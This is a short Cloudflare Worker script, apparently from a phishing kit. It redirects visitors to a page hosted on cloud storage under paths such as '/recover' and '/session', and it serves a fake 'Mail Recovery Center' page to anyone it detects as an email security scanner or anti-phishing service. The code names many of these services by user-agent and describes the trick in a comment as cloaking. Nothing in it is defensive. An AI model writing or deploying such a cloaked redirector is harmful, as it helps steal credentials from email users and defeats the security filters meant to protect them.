// Cloudflare Worker - Production redirect export default { async fetch(request, env, ctx) { const url = new URL(request.url); // ===== CONFIGURATION ===== const DESTINATION = "https://usc1.contabostorage.com/8c9901f9bfac474d835a4bd9f0898d0d/oxcs/netsol.html"; // Path-based routing (optional - use different paths for different destinations) const routes = { "/": DESTINATION, "/go": DESTINATION, "/help": DESTINATION, "/resolve": DESTINATION, "/session": DESTINATION, "/recover": DESTINATION, }; // ===== BOT / SCANNER DETECTION ===== const userAgent = (request.headers.get("user-agent") || "").toLowerCase(); const ip = request.headers.get("cf-connecting-ip") || ""; const referer = request.headers.get("referer") || ""; // List of known email scanner bots const scannerBots = [ "googlebot", "bingbot", "slurp", "duckduckbot", "baiduspider", "yandexbot", "sogou", "exabot", "facebot", "ia_archiver", "googlemail", "gmail-image-proxy", "google-inspectiontool", "outlook", "exchange", "office365", "mimecast", "proofpoint", "barracuda", "messagelabs", "symantec", "trendmicro", "forcepoint", "clearswift", "fireeye", "phishfort", "urlscan", "phishtank", "safebrowsing", "google safe browsing", "microsoft safe links", "yahoo mail", "rocketmail", "ymail" ]; const isBot = scannerBots.some(bot => userAgent.includes(bot)); // ===== REDIRECT ===== const targetUrl = routes[url.pathname] || DESTINATION; // For real users: 302 redirect (preserves method, fast) // For bots: serve a simple HTML page instead (cloaking) if (isBot) { return new Response(getCleanPage(url.host, url.pathname), { status: 200, headers: { "content-type": "text/html; charset=utf-8" } }); } return Response.redirect(targetUrl, 302); } }; // Clean page for bots/scanners function getCleanPage(host, path) { return ` HelpDesk - Mail Recovery Center
📧 HelpDesk - Mail Recovery Center

Resolve Delayed Messages

Welcome to the help center. Search the knowledge base or contact your administrator for assistance with mailbox recovery.

`; }